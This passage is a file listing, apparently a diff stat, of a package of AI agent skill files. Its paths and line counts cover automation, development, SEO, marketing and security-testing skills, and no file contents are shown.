  469. package/skills/gitlab-automation/SKILL.md +254 -0
  470. package/skills/gitlab-ci-patterns/SKILL.md +283 -0
  471. package/skills/gitops-workflow/SKILL.md +303 -0
  472. package/skills/gmail-automation/SKILL.md +270 -0
  473. package/skills/go-concurrency-patterns/SKILL.md +33 -0
  474. package/skills/go-concurrency-patterns/resources/implementation-playbook.md +654 -0
  475. package/skills/go-playwright/SKILL.md +76 -0
  476. package/skills/go-playwright/resources/implementation-playbook.md +110 -0
  477. package/skills/godot-gdscript-patterns/SKILL.md +33 -0
  478. package/skills/godot-gdscript-patterns/resources/implementation-playbook.md +804 -0
  479. package/skills/golang-pro/SKILL.md +179 -0
  480. package/skills/google-analytics-automation/SKILL.md +227 -0
  481. package/skills/google-calendar-automation/SKILL.md +176 -0
  482. package/skills/google-drive-automation/SKILL.md +193 -0
  483. package/skills/googlesheets-automation/SKILL.md +197 -0
  484. package/skills/grafana-dashboards/SKILL.md +381 -0
  485. package/skills/graphql/SKILL.md +68 -0
  486. package/skills/graphql-architect/SKILL.md +182 -0
  487. package/skills/haskell-pro/SKILL.md +56 -0
  488. package/skills/helm-chart-scaffolding/SKILL.md +34 -0
  489. package/skills/helm-chart-scaffolding/resources/implementation-playbook.md +543 -0
  490. package/skills/helpdesk-automation/SKILL.md +166 -0
  491. package/skills/hr-pro/SKILL.md +126 -0
  492. package/skills/html-injection-testing/SKILL.md +498 -0
  493. package/skills/hubspot-automation/SKILL.md +178 -0
  494. package/skills/hubspot-integration/SKILL.md +42 -0
  495. package/skills/hugging-face-cli/SKILL.md +198 -0
  496. package/skills/hugging-face-jobs/SKILL.md +1038 -0
  497. package/skills/hybrid-cloud-architect/SKILL.md +168 -0
  498. package/skills/hybrid-cloud-networking/SKILL.md +238 -0
  499. package/skills/hybrid-search-implementation/SKILL.md +32 -0
  500. package/skills/hybrid-search-implementation/resources/implementation-playbook.md +567 -0
  501. package/skills/i18n-localization/SKILL.md +154 -0
  502. package/skills/idor-testing/SKILL.md +442 -0
  503. package/skills/imagen/SKILL.md +77 -0
  504. package/skills/incident-responder/SKILL.md +213 -0
  505. package/skills/incident-response-incident-response/SKILL.md +168 -0
  506. package/skills/incident-response-smart-fix/SKILL.md +29 -0
  507. package/skills/incident-response-smart-fix/resources/implementation-playbook.md +838 -0
  508. package/skills/incident-runbook-templates/SKILL.md +395 -0
  509. package/skills/infinite-gratitude/SKILL.md +26 -0
  510. package/skills/inngest/SKILL.md +55 -0
  511. package/skills/instagram-automation/SKILL.md +192 -0
  512. package/skills/interactive-portfolio/SKILL.md +223 -0
  513. package/skills/intercom-automation/SKILL.md +248 -0
  514. package/skills/internal-comms-anthropic/SKILL.md +32 -0
  515. package/skills/ios-developer/SKILL.md +219 -0
  516. package/skills/istio-traffic-management/SKILL.md +337 -0
  517. package/skills/iterate-pr/SKILL.md +150 -0
  518. package/skills/java-pro/SKILL.md +177 -0
  519. package/skills/javascript-mastery/SKILL.md +645 -0
  520. package/skills/javascript-pro/SKILL.md +57 -0
  521. package/skills/javascript-testing-patterns/SKILL.md +35 -0
  522. package/skills/javascript-testing-patterns/resources/implementation-playbook.md +1024 -0
  523. package/skills/javascript-typescript-typescript-scaffold/SKILL.md +361 -0
  524. package/skills/jira-automation/SKILL.md +185 -0
  525. package/skills/julia-pro/SKILL.md +209 -0
  526. package/skills/k8s-manifest-generator/SKILL.md +35 -0
  527. package/skills/k8s-manifest-generator/resources/implementation-playbook.md +510 -0
  528. package/skills/k8s-security-policies/SKILL.md +346 -0
  529. package/skills/kaizen/SKILL.md +730 -0
  530. package/skills/klaviyo-automation/SKILL.md +190 -0
  531. package/skills/kpi-dashboard-design/SKILL.md +440 -0
  532. package/skills/kubernetes-architect/SKILL.md +170 -0
  533. package/skills/langchain-architecture/SKILL.md +350 -0
  534. package/skills/langfuse/SKILL.md +238 -0
  535. package/skills/langgraph/SKILL.md +287 -0
  536. package/skills/last30days/SKILL.md +421 -0
  537. package/skills/launch-strategy/SKILL.md +344 -0
  538. package/skills/legacy-modernizer/SKILL.md +53 -0
  539. package/skills/legal-advisor/SKILL.md +70 -0
  540. package/skills/linear-automation/SKILL.md +178 -0
  541. package/skills/linear-claude-skill/SKILL.md +543 -0
  542. package/skills/linkedin-automation/SKILL.md +175 -0
  543. package/skills/linkerd-patterns/SKILL.md +321 -0
  544. package/skills/lint-and-validate/SKILL.md +45 -0
  545. package/skills/linux-privilege-escalation/SKILL.md +504 -0
  546. package/skills/linux-shell-scripting/SKILL.md +504 -0
  547. package/skills/llm-app-patterns/SKILL.md +760 -0
  548. package/skills/llm-application-dev-ai-assistant/SKILL.md +35 -0
  549. package/skills/llm-application-dev-ai-assistant/resources/implementation-playbook.md +1236 -0
  550. package/skills/llm-application-dev-langchain-agent/SKILL.md +246 -0
  551. package/skills/llm-application-dev-prompt-optimize/SKILL.md +37 -0
  552. package/skills/llm-application-dev-prompt-optimize/resources/implementation-playbook.md +591 -0
  553. package/skills/llm-evaluation/SKILL.md +483 -0
  554. package/skills/loki-mode/SKILL.md +721 -0
  555. package/skills/machine-learning-ops-ml-pipeline/SKILL.md +314 -0
  556. package/skills/mailchimp-automation/SKILL.md +231 -0
  557. package/skills/make-automation/SKILL.md +201 -0
  558. package/skills/makepad-skills/SKILL.md +22 -0
  559. package/skills/malware-analyst/SKILL.md +247 -0
  560. package/skills/market-sizing-analysis/SKILL.md +425 -0
  561. package/skills/marketing-ideas/SKILL.md +221 -0
  562. package/skills/marketing-psychology/SKILL.md +255 -0
  563. package/skills/mcp-builder/LICENSE.txt +202 -0
  564. package/skills/mcp-builder/SKILL.md +236 -0
  565. package/skills/mcp-builder/resources/evaluation.md +602 -0
  566. package/skills/mcp-builder/resources/mcp_best_practices.md +249 -0
  567. package/skills/mcp-builder/resources/node_mcp_server.md +970 -0
  568. package/skills/mcp-builder/resources/python_mcp_server.md +719 -0
  569. package/skills/mcp-builder/scripts/connections.py +151 -0
  570. package/skills/mcp-builder/scripts/evaluation.py +373 -0
  571. package/skills/mcp-builder/scripts/example_evaluation.xml +22 -0
  572. package/skills/mcp-builder/scripts/requirements.txt +2 -0
  573. package/skills/memory-forensics/SKILL.md +491 -0
  574. package/skills/memory-safety-patterns/SKILL.md +33 -0
  575. package/skills/memory-safety-patterns/resources/implementation-playbook.md +603 -0
  576. package/skills/memory-systems/SKILL.md +228 -0
  577. package/skills/mermaid-expert/SKILL.md +59 -0
  578. package/skills/metasploit-framework/SKILL.md +478 -0
  579. package/skills/micro-saas-launcher/SKILL.md +212 -0
  580. package/skills/microservices-patterns/SKILL.md +35 -0
  581. package/skills/microservices-patterns/resources/implementation-playbook.md +607 -0
  582. package/skills/microsoft-teams-automation/SKILL.md +211 -0
  583. package/skills/minecraft-bukkit-pro/SKILL.md +126 -0
  584. package/skills/miro-automation/SKILL.md +205 -0
  585. package/skills/mixpanel-automation/SKILL.md +224 -0
  586. package/skills/ml-engineer/SKILL.md +168 -0
  587. package/skills/ml-pipeline-workflow/SKILL.md +257 -0
  588. package/skills/mlops-engineer/SKILL.md +219 -0
  589. package/skills/mobile-design/SKILL.md +284 -0
  590. package/skills/mobile-developer/SKILL.md +205 -0
  591. package/skills/mobile-security-coder/SKILL.md +184 -0
  592. package/skills/modern-javascript-patterns/SKILL.md +35 -0
  593. package/skills/modern-javascript-patterns/resources/implementation-playbook.md +910 -0
  594. package/skills/monday-automation/SKILL.md +233 -0
  595. package/skills/monorepo-architect/SKILL.md +61 -0
  596. package/skills/monorepo-management/SKILL.md +35 -0
  597. package/skills/monorepo-management/resources/implementation-playbook.md +621 -0
  598. package/skills/moodle-external-api-development/SKILL.md +597 -0
  599. package/skills/mtls-configuration/SKILL.md +359 -0
  600. package/skills/multi-agent-brainstorming/SKILL.md +256 -0
  601. package/skills/multi-agent-patterns/SKILL.md +262 -0
  602. package/skills/multi-cloud-architecture/SKILL.md +189 -0
  603. package/skills/multi-platform-apps-multi-platform/SKILL.md +203 -0
  604. package/skills/n8n-code-python/SKILL.md +750 -0
  605. package/skills/n8n-mcp-tools-expert/SKILL.md +654 -0
  606. package/skills/n8n-node-configuration/SKILL.md +796 -0
  607. package/skills/nanobanana-ppt-skills/SKILL.md +22 -0
  608. package/skills/neon-postgres/SKILL.md +56 -0
  609. package/skills/nestjs-expert/SKILL.md +552 -0
  610. package/skills/network-101/SKILL.md +342 -0
  611. package/skills/network-engineer/SKILL.md +169 -0
  612. package/skills/nextjs-app-router-patterns/SKILL.md +33 -0
  613. package/skills/nextjs-app-router-patterns/resources/implementation-playbook.md +543 -0
  614. package/skills/nextjs-best-practices/SKILL.md +203 -0
  615. package/skills/nextjs-supabase-auth/SKILL.md +56 -0
  616. package/skills/nft-standards/SKILL.md +395 -0
  617. package/skills/nodejs-backend-patterns/SKILL.md +35 -0
  618. package/skills/nodejs-backend-patterns/resources/implementation-playbook.md +1019 -0
  619. package/skills/nodejs-best-practices/SKILL.md +333 -0
  620. package/skills/nosql-expert/SKILL.md +111 -0
  621. package/skills/notebooklm/SKILL.md +269 -0
  622. package/skills/notion-automation/SKILL.md +215 -0
  623. package/skills/notion-template-business/SKILL.md +216 -0
  624. package/skills/nx-workspace-patterns/SKILL.md +464 -0
  625. package/skills/observability-engineer/SKILL.md +237 -0
  626. package/skills/observability-monitoring-monitor-setup/SKILL.md +48 -0
  627. package/skills/observability-monitoring-monitor-setup/resources/implementation-playbook.md +505 -0
  628. package/skills/observability-monitoring-slo-implement/SKILL.md +43 -0
  629. package/skills/observability-monitoring-slo-implement/resources/implementation-playbook.md +1077 -0
  630. package/skills/observe-whatsapp/SKILL.md +109 -0
  631. package/skills/obsidian-clipper-template-creator/SKILL.md +64 -0
  632. package/skills/on-call-handoff-patterns/SKILL.md +453 -0
  633. package/skills/onboarding-cro/SKILL.md +433 -0
  634. package/skills/one-drive-automation/SKILL.md +238 -0
  635. package/skills/openapi-spec-generation/SKILL.md +33 -0
  636. package/skills/openapi-spec-generation/resources/implementation-playbook.md +1027 -0
  637. package/skills/oss-hunter/SKILL.md +75 -0
  638. package/skills/outlook-automation/SKILL.md +191 -0
  639. package/skills/outlook-calendar-automation/SKILL.md +236 -0
  640. package/skills/page-cro/SKILL.md +343 -0
  641. package/skills/pagerduty-automation/SKILL.md +245 -0
  642. package/skills/paid-ads/SKILL.md +551 -0
  643. package/skills/parallel-agents/SKILL.md +175 -0
  644. package/skills/payment-integration/SKILL.md +77 -0
  645. package/skills/paypal-integration/SKILL.md +479 -0
  646. package/skills/paywall-upgrade-cro/SKILL.md +570 -0
  647. package/skills/pci-compliance/SKILL.md +478 -0
  648. package/skills/pentest-checklist/SKILL.md +334 -0
  649. package/skills/pentest-commands/SKILL.md +438 -0
  650. package/skills/performance-engineer/SKILL.md +180 -0
  651. package/skills/performance-profiling/SKILL.md +143 -0
  652. package/skills/performance-testing-review-ai-review/SKILL.md +450 -0
  653. package/skills/performance-testing-review-multi-agent-review/SKILL.md +216 -0
  654. package/skills/personal-tool-builder/SKILL.md +289 -0
  655. package/skills/php-pro/SKILL.md +63 -0
  656. package/skills/pipedrive-automation/SKILL.md +224 -0
  657. package/skills/plaid-fintech/SKILL.md +50 -0
  658. package/skills/plan-writing/SKILL.md +152 -0
  659. package/skills/planning-with-files/SKILL.md +211 -0
  660. package/skills/playwright-skill/SKILL.md +453 -0
  661. package/skills/popup-cro/SKILL.md +346 -0
  662. package/skills/posix-shell-pro/SKILL.md +304 -0
  663. package/skills/postgres-best-practices/SKILL.md +57 -0
  664. package/skills/postgresql/SKILL.md +230 -0
  665. package/skills/posthog-automation/SKILL.md +224 -0
  666. package/skills/postmark-automation/SKILL.md +187 -0
  667. package/skills/postmortem-writing/SKILL.md +386 -0
  668. package/skills/powershell-windows/SKILL.md +167 -0
  669. package/skills/pricing-strategy/SKILL.md +356 -0
  670. package/skills/prisma-expert/SKILL.md +355 -0
  671. package/skills/privilege-escalation-methods/SKILL.md +333 -0
  672. package/skills/product-manager-toolkit/SKILL.md +351 -0
  673. package/skills/production-code-audit/SKILL.md +540 -0
  674. package/skills/programmatic-seo/SKILL.md +351 -0
  675. package/skills/projection-patterns/SKILL.md +33 -0
  676. package/skills/projection-patterns/resources/implementation-playbook.md +501 -0
  677. package/skills/prometheus-configuration/SKILL.md +404 -0
  678. package/skills/prompt-caching/SKILL.md +61 -0
  679. package/skills/prompt-engineer/SKILL.md +252 -0
  680. package/skills/prompt-engineering/SKILL.md +171 -0
  681. package/skills/prompt-engineering-patterns/SKILL.md +213 -0
  682. package/skills/prompt-library/SKILL.md +322 -0
  683. package/skills/protocol-reverse-engineering/SKILL.md +29 -0
  684. package/skills/protocol-reverse-engineering/resources/implementation-playbook.md +509 -0
  685. package/skills/pypict-skill/SKILL.md +22 -0
  686. package/skills/python-development-python-scaffold/SKILL.md +331 -0
  687. package/skills/python-packaging/SKILL.md +36 -0
  688. package/skills/python-packaging/resources/implementation-playbook.md +869 -0
  689. package/skills/python-patterns/SKILL.md +441 -0
  690. package/skills/python-performance-optimization/SKILL.md +36 -0
  691. package/skills/python-performance-optimization/resources/implementation-playbook.md +868 -0
  692. package/skills/python-pro/SKILL.md +158 -0
  693. package/skills/python-testing-patterns/SKILL.md +37 -0
  694. package/skills/python-testing-patterns/resources/implementation-playbook.md +906 -0
  695. package/skills/quant-analyst/SKILL.md +53 -0
  696. package/skills/radix-ui-design-system/SKILL.md +847 -0
  697. package/skills/rag-engineer/SKILL.md +90 -0
  698. package/skills/rag-implementation/SKILL.md +421 -0
  699. package/skills/react-best-practices/SKILL.md +121 -0
  700. package/skills/react-modernization/SKILL.md +34 -0
  701. package/skills/react-modernization/resources/implementation-playbook.md +512 -0
  702. package/skills/react-native-architecture/SKILL.md +33 -0
  703. package/skills/react-native-architecture/resources/implementation-playbook.md +670 -0
  704. package/skills/react-patterns/SKILL.md +198 -0
  705. package/skills/react-state-management/SKILL.md +441 -0
  706. package/skills/react-ui-patterns/SKILL.md +289 -0
  707. package/skills/readme/SKILL.md +842 -0
  708. package/skills/receiving-code-review/SKILL.md +213 -0
  709. package/skills/red-team-tactics/SKILL.md +199 -0
  710. package/skills/red-team-tools/SKILL.md +310 -0
  711. package/skills/reddit-automation/SKILL.md +212 -0
  712. package/skills/reference-builder/SKILL.md +188 -0
  713. package/skills/referral-program/SKILL.md +602 -0
  714. package/skills/remotion-best-practices/SKILL.md +45 -0
  715. package/skills/render-automation/SKILL.md +181 -0
  716. package/skills/requesting-code-review/SKILL.md +105 -0
  717. package/skills/research-engineer/SKILL.md +135 -0
  718. package/skills/reverse-engineer/SKILL.md +173 -0
  719. package/skills/risk-manager/SKILL.md +61 -0
  720. package/skills/risk-metrics-calculation/SKILL.md +33 -0
  721. package/skills/risk-metrics-calculation/resources/implementation-playbook.md +554 -0
  722. package/skills/ruby-pro/SKILL.md +56 -0
  723. package/skills/rust-async-patterns/SKILL.md +33 -0
  724. package/skills/rust-async-patterns/resources/implementation-playbook.md +516 -0
  725. package/skills/rust-pro/SKILL.md +178 -0
  726. package/skills/saga-orchestration/SKILL.md +496 -0
  727. package/skills/sales-automator/SKILL.md +55 -0
  728. package/skills/salesforce-automation/SKILL.md +190 -0
  729. package/skills/salesforce-development/SKILL.md +51 -0
  730. package/skills/sast-configuration/SKILL.md +212 -0
  731. package/skills/scala-pro/SKILL.md +82 -0
  732. package/skills/scanning-tools/SKILL.md +589 -0
  733. package/skills/schema-markup/SKILL.md +360 -0
  734. package/skills/screen-reader-testing/SKILL.md +33 -0
  735. package/skills/screen-reader-testing/resources/implementation-playbook.md +544 -0
  736. package/skills/screenshots/SKILL.md +401 -0
  737. package/skills/scroll-experience/SKILL.md +263 -0
  738. package/skills/search-specialist/SKILL.md +80 -0
  739. package/skills/secrets-management/SKILL.md +364 -0
  740. package/skills/security-auditor/SKILL.md +169 -0
  741. package/skills/security-bluebook-builder/SKILL.md +22 -0
  742. package/skills/security-compliance-compliance-check/SKILL.md +55 -0
  743. package/skills/security-compliance-compliance-check/resources/implementation-playbook.md +963 -0
  744. package/skills/security-requirement-extraction/SKILL.md +33 -0
  745. package/skills/security-requirement-extraction/resources/implementation-playbook.md +676 -0
  746. package/skills/security-scanning-security-dependencies/SKILL.md +43 -0
  747. package/skills/security-scanning-security-dependencies/resources/implementation-playbook.md +544 -0
  748. package/skills/security-scanning-security-hardening/SKILL.md +147 -0
  749. package/skills/security-scanning-security-sast/SKILL.md +495 -0
  750. package/skills/segment-automation/SKILL.md +225 -0
  751. package/skills/segment-cdp/SKILL.md +50 -0
  752. package/skills/sendgrid-automation/SKILL.md +228 -0
  753. package/skills/senior-architect/SKILL.md +209 -0
  754. package/skills/senior-fullstack/SKILL.md +209 -0
  755. package/skills/sentry-automation/SKILL.md +232 -0
  756. package/skills/seo-audit/SKILL.md +487 -0
  757. package/skills/seo-authority-builder/SKILL.md +136 -0
  758. package/skills/seo-cannibalization-detector/SKILL.md +123 -0
  759. package/skills/seo-content-auditor/SKILL.md +83 -0
  760. package/skills/seo-content-planner/SKILL.md +108 -0
  761. package/skills/seo-content-refresher/SKILL.md +118 -0
  762. package/skills/seo-content-writer/SKILL.md +96 -0
  763. package/skills/seo-fundamentals/SKILL.md +173 -0
  764. package/skills/seo-keyword-strategist/SKILL.md +95 -0
  765. package/skills/seo-meta-optimizer/SKILL.md +92 -0
  766. package/skills/seo-snippet-hunter/SKILL.md +114 -0
  767. package/skills/seo-structure-architect/SKILL.md +108 -0
  768. package/skills/server-management/SKILL.md +161 -0
  769. package/skills/service-mesh-expert/SKILL.md +58 -0
  770. package/skills/service-mesh-observability/SKILL.md +395 -0
  771. package/skills/sharp-edges/SKILL.md +70 -0
  772. package/skills/shellcheck-configuration/SKILL.md +466 -0
  773. package/skills/shodan-reconnaissance/SKILL.md +503 -0
  774. package/skills/shopify-apps/SKILL.md +42 -0
  775. package/skills/shopify-automation/SKILL.md +168 -0
  776. package/skills/shopify-development/SKILL.md +366 -0
  777. package/skills/signup-flow-cro/SKILL.md +355 -0
  778. package/skills/similarity-search-patterns/SKILL.md +33 -0
  779. package/skills/similarity-search-patterns/resources/implementation-playbook.md +557 -0
  780. package/skills/skill-creator/LICENSE.txt +202 -0
  781. package/skills/skill-creator/SKILL.md +357 -0
  782. package/skills/skill-creator/resources/output-patterns.md +82 -0
  783. package/skills/skill-creator/resources/workflows.md +28 -0
  784. package/skills/skill-creator/scripts/init_skill.py +303 -0
  785. package/skills/skill-creator/scripts/package_skill.py +110 -0
  786. package/skills/skill-creator/scripts/quick_validate.py +103 -0
  787. package/skills/skill-developer/SKILL.md +426 -0
  788. package/skills/skill-rails-upgrade/SKILL.md +408 -0
  789. package/skills/skill-seekers/SKILL.md +22 -0
  790. package/skills/slack-automation/SKILL.md +189 -0
  791. package/skills/slack-bot-builder/SKILL.md +264 -0
  792. package/skills/slack-gif-creator/LICENSE.txt +202 -0
  793. package/skills/slack-gif-creator/SKILL.md +254 -0
  794. package/skills/slack-gif-creator/core/easing.py +234 -0
  795. package/skills/slack-gif-creator/core/frame_composer.py +176 -0
  796. package/skills/slack-gif-creator/core/gif_builder.py +269 -0
  797. package/skills/slack-gif-creator/core/validators.py +136 -0
  798. package/skills/slack-gif-creator/requirements.txt +4 -0
  799. package/skills/slo-implementation/SKILL.md +341 -0
  800. package/skills/smtp-penetration-testing/SKILL.md +500 -0
  801. package/skills/social-content/SKILL.md +807 -0
  802. package/skills/software-architecture/SKILL.md +75 -0
  803. package/skills/solidity-security/SKILL.md +34 -0
  804. package/skills/solidity-security/resources/implementation-playbook.md +524 -0
  805. package/skills/spark-optimization/SKILL.md +427 -0
  806. package/skills/sql-injection-testing/SKILL.md +448 -0
  807. package/skills/sql-optimization-patterns/SKILL.md +35 -0
  808. package/skills/sql-optimization-patterns/resources/implementation-playbook.md +504 -0
  809. package/skills/sql-pro/SKILL.md +173 -0
  810. package/skills/sqlmap-database-pentesting/SKILL.md +400 -0
  811. package/skills/square-automation/SKILL.md +176 -0
  812. package/skills/ssh-penetration-testing/SKILL.md +488 -0
  813. package/skills/startup-analyst/SKILL.md +328 -0
  814. package/skills/startup-business-analyst-business-case/SKILL.md +487 -0
  815. package/skills/startup-business-analyst-financial-projections/SKILL.md +353 -0
  816. package/skills/startup-business-analyst-market-opportunity/SKILL.md +240 -0
  817. package/skills/startup-financial-modeling/SKILL.md +467 -0
  818. package/skills/startup-metrics-framework/SKILL.md +34 -0
  819. package/skills/startup-metrics-framework/resources/implementation-playbook.md +500 -0
  820. package/skills/stitch-ui-design/SKILL.md +378 -0
  821. package/skills/stride-analysis-patterns/SKILL.md +33 -0
  822. package/skills/stride-analysis-patterns/resources/implementation-playbook.md +655 -0
  823. package/skills/stripe-automation/SKILL.md +198 -0
  824. package/skills/stripe-integration/SKILL.md +454 -0
  825. package/skills/subagent-driven-development/SKILL.md +240 -0
  826. package/skills/supabase-automation/SKILL.md +236 -0
  827. package/skills/superpowers-lab/SKILL.md +22 -0
  828. package/skills/swiftui-expert-skill/SKILL.md +275 -0
  829. package/skills/systematic-debugging/SKILL.md +296 -0
  830. package/skills/systems-programming-rust-project/SKILL.md +440 -0
  831. package/skills/tailwind-design-system/SKILL.md +33 -0
  832. package/skills/tailwind-design-system/resources/implementation-playbook.md +665 -0
  833. package/skills/tailwind-patterns/SKILL.md +269 -0
  834. package/skills/tavily-web/SKILL.md +36 -0
  835. package/skills/tdd-orchestrator/SKILL.md +205 -0
  836. package/skills/tdd-workflow/SKILL.md +149 -0
  837. package/skills/tdd-workflows-tdd-cycle/SKILL.md +221 -0
  838. package/skills/tdd-workflows-tdd-green/SKILL.md +73 -0
  839. package/skills/tdd-workflows-tdd-green/resources/implementation-playbook.md +870 -0
  840. package/skills/tdd-workflows-tdd-red/SKILL.md +164 -0
  841. package/skills/tdd-workflows-tdd-refactor/SKILL.md +187 -0
  842. package/skills/team-collaboration-issue/SKILL.md +37 -0
  843. package/skills/team-collaboration-issue/resources/implementation-playbook.md +640 -0
  844. package/skills/team-collaboration-standup-notes/SKILL.md +44 -0
  845. package/skills/team-collaboration-standup-notes/resources/implementation-playbook.md +768 -0
  846. package/skills/team-composition-analysis/SKILL.md +413 -0
  847. package/skills/telegram-automation/SKILL.md +219 -0
  848. package/skills/telegram-bot-builder/SKILL.md +254 -0
  849. package/skills/telegram-mini-app/SKILL.md +279 -0
  850. package/skills/temporal-python-pro/SKILL.md +370 -0
  851. package/skills/temporal-python-testing/SKILL.md +170 -0
  852. package/skills/temporal-python-testing/resources/integration-testing.md +455 -0
  853. package/skills/temporal-python-testing/resources/local-setup.md +553 -0
  854. package/skills/temporal-python-testing/resources/replay-testing.md +462 -0
  855. package/skills/temporal-python-testing/resources/unit-testing.md +328 -0
  856. package/skills/terraform-module-library/SKILL.md +261 -0
  857. package/skills/terraform-skill/SKILL.md +517 -0
  858. package/skills/terraform-specialist/SKILL.md +166 -0
  859. package/skills/test-automator/SKILL.md +224 -0
  860. package/skills/test-driven-development/SKILL.md +371 -0
  861. package/skills/test-fixing/SKILL.md +119 -0
  862. package/skills/testing-patterns/SKILL.md +259 -0
  863. package/skills/theme-factory/LICENSE.txt +202 -0
  864. package/skills/theme-factory/SKILL.md +59 -0
  865. package/skills/theme-factory/theme-showcase.pdf +0 -0
  866. package/skills/theme-factory/themes/arctic-frost.md +19 -0
  867. package/skills/theme-factory/themes/botanical-garden.md +19 -0
  868. package/skills/theme-factory/themes/desert-rose.md +19 -0
  869. package/skills/theme-factory/themes/forest-canopy.md +19 -0
  870. package/skills/theme-factory/themes/golden-hour.md +19 -0
  871. package/skills/theme-factory/themes/midnight-galaxy.md +19 -0
  872. package/skills/theme-factory/themes/modern-minimalist.md +19 -0
  873. package/skills/theme-factory/themes/ocean-depths.md +19 -0
  874. package/skills/theme-factory/themes/sunset-boulevard.md +19 -0
  875. package/skills/theme-factory/themes/tech-innovation.md +19 -0
  876. package/skills/threat-mitigation-mapping/SKILL.md +33 -0
  877. package/skills/threat-mitigation-mapping/resources/implementation-playbook.md +744 -0
  878. package/skills/threat-modeling-expert/SKILL.md +60 -0
  879. package/skills/threejs-skills/SKILL.md +22 -0
  880. package/skills/tiktok-automation/SKILL.md +178 -0
  881. package/skills/todoist-automation/SKILL.md +231 -0
  882. package/skills/tool-design/SKILL.md +318 -0
  883. package/skills/top-web-vulnerabilities/SKILL.md +543 -0
  884. package/skills/track-management/SKILL.md +38 -0
  885. package/skills/track-management/resources/implementation-playbook.md +591 -0
  886. package/skills/trello-automation/SKILL.md +181 -0
  887. package/skills/trigger-dev/SKILL.md +67 -0
  888. package/skills/turborepo-caching/SKILL.md +419 -0
  889. package/skills/tutorial-engineer/SKILL.md +139 -0
  890. package/skills/twilio-communications/SKILL.md +295 -0
  891. package/skills/twitter-automation/SKILL.md +231 -0
  892. package/skills/typescript-advanced-types/SKILL.md +35 -0
  893. package/skills/typescript-advanced-types/resources/implementation-playbook.md +716 -0
  894. package/skills/typescript-expert/SKILL.md +429 -0
  895. package/skills/typescript-pro/SKILL.md +55 -0
  896. package/skills/ui-skills/SKILL.md +22 -0
  897. package/skills/ui-ux-designer/SKILL.md +209 -0
  898. package/skills/ui-ux-pro-max/SKILL.md +351 -0
  899. package/skills/ui-visual-validator/SKILL.md +214 -0
  900. package/skills/unit-testing-test-generate/SKILL.md +319 -0
  901. package/skills/unity-developer/SKILL.md +230 -0
  902. package/skills/unity-ecs-patterns/SKILL.md +33 -0
  903. package/skills/unity-ecs-patterns/resources/implementation-playbook.md +625 -0
  904. package/skills/unreal-engine-cpp-pro/SKILL.md +114 -0
  905. package/skills/upgrading-expo/SKILL.md +118 -0
  906. package/skills/upstash-qstash/SKILL.md +68 -0
  907. package/skills/using-git-worktrees/SKILL.md +217 -0
  908. package/skills/using-neon/SKILL.md +84 -0
  909. package/skills/using-superpowers/SKILL.md +87 -0
  910. package/skills/uv-package-manager/SKILL.md +37 -0
  911. package/skills/uv-package-manager/resources/implementation-playbook.md +830 -0
  912. package/skills/varlock-claude-skill/SKILL.md +22 -0
  913. package/skills/vector-database-engineer/SKILL.md +60 -0
  914. package/skills/vector-index-tuning/SKILL.md +42 -0
  915. package/skills/vector-index-tuning/resources/implementation-playbook.md +507 -0
  916. package/skills/vercel-automation/SKILL.md +226 -0
  917. package/skills/vercel-deploy-claimable/SKILL.md +123 -0
  918. package/skills/vercel-deployment/SKILL.md +79 -0
  919. package/skills/verification-before-completion/SKILL.md +139 -0
  920. package/skills/vexor/SKILL.md +22 -0
  921. package/skills/viral-generator-builder/SKILL.md +199 -0
  922. package/skills/voice-agents/SKILL.md +68 -0
  923. package/skills/voice-ai-development/SKILL.md +302 -0
  924. package/skills/voice-ai-engine-development/SKILL.md +721 -0
  925. package/skills/vulnerability-scanner/SKILL.md +276 -0
  926. package/skills/wcag-audit-patterns/SKILL.md +41 -0
  927. package/skills/wcag-audit-patterns/resources/implementation-playbook.md +541 -0
  928. package/skills/web-artifacts-builder/LICENSE.txt +202 -0
  929. package/skills/web-artifacts-builder/SKILL.md +74 -0
  930. package/skills/web-artifacts-builder/scripts/bundle-artifact.sh +54 -0
  931. package/skills/web-artifacts-builder/scripts/init-artifact.sh +322 -0
  932. package/skills/web-artifacts-builder/scripts/shadcn-components.tar.gz +0 -0
  933. package/skills/web-design-guidelines/SKILL.md +36 -0
  934. package/skills/web-performance-optimization/SKILL.md +646 -0
  935. package/skills/web3-testing/SKILL.md +427 -0
  936. package/skills/webapp-testing/LICENSE.txt +202 -0
  937. package/skills/webapp-testing/SKILL.md +96 -0
  938. package/skills/webapp-testing/examples/console_logging.py +35 -0
  939. package/skills/webapp-testing/examples/element_discovery.py +40 -0
  940. package/skills/webapp-testing/examples/static_html_automation.py +33 -0
  941. package/skills/webapp-testing/scripts/with_server.py +106 -0
  942. package/skills/webflow-automation/SKILL.md +236 -0
  943. package/skills/whatsapp-automation/SKILL.md +214 -0
  944. package/skills/windows-privilege-escalation/SKILL.md +496 -0
  945. package/skills/wireshark-analysis/SKILL.md +497 -0
  946. package/skills/wordpress-penetration-testing/SKILL.md +485 -0
  947. package/skills/workflow-automation/SKILL.md +68 -0
  948. package/skills/workflow-orchestration-patterns/SKILL.md +333 -0
  949. package/skills/workflow-patterns/SKILL.md +38 -0
  950. package/skills/workflow-patterns/resources/implementation-playbook.md +621 -0
  951. package/skills/wrike-automation/SKILL.md +233 -0
  952. package/skills/writing-plans/SKILL.md +116 -0
  953. package/skills/writing-skills/SKILL.md +125 -0
  954. package/skills/x-article-publisher-skill/SKILL.md +22 -0
  955. package/skills/xss-html-injection/SKILL.md +499 -0
  956. package/skills/youtube-automation/SKILL.md +218 -0
  957. package/skills/youtube-summarizer/SKILL.md +411 -0
  958. package/skills/zapier-make-patterns/SKILL.md +67 -0
  959. package/skills/zendesk-automation/SKILL.md +215 -0
  960. package/skills/zoho-crm-automation/SKILL.md +206 -0
  961. package/skills/zoom-automation/SKILL.md +217 -0
  962. package/src/dedup.ts +132 -0
  963. package/src/index.ts +26 -0
  964. package/src/loader.ts +33 -0
  965. package/src/search.ts +83 -0
  966. package/src/server.ts +83 -0
  967. package/src/skill-index.ts +105 -0
  968. package/src/types.ts +28 -0
  969. package/test/dedup.test.ts +33 -0
  970. package/test/fixtures/allowed-tools/SKILL.md +9 -0
  971. package/test/fixtures/basic-skill/SKILL.md +11 -0
  972. package/test/fixtures/empty-description/SKILL.md +7 -0
  973. package/test/fixtures/invalid-frontmatter/SKILL.md +7 -0
  974. package/test/fixtures/multiline-description/SKILL.md +11 -0
  975. package/test/fixtures/no-frontmatter/SKILL.md +3 -0
  976. package/test/fixtures/skill-with-hyphenated-resources/SKILL.md +8 -0
  977. package/test/fixtures/skill-with-hyphenated-resources/resources/implementation-playbook.md +3 -0
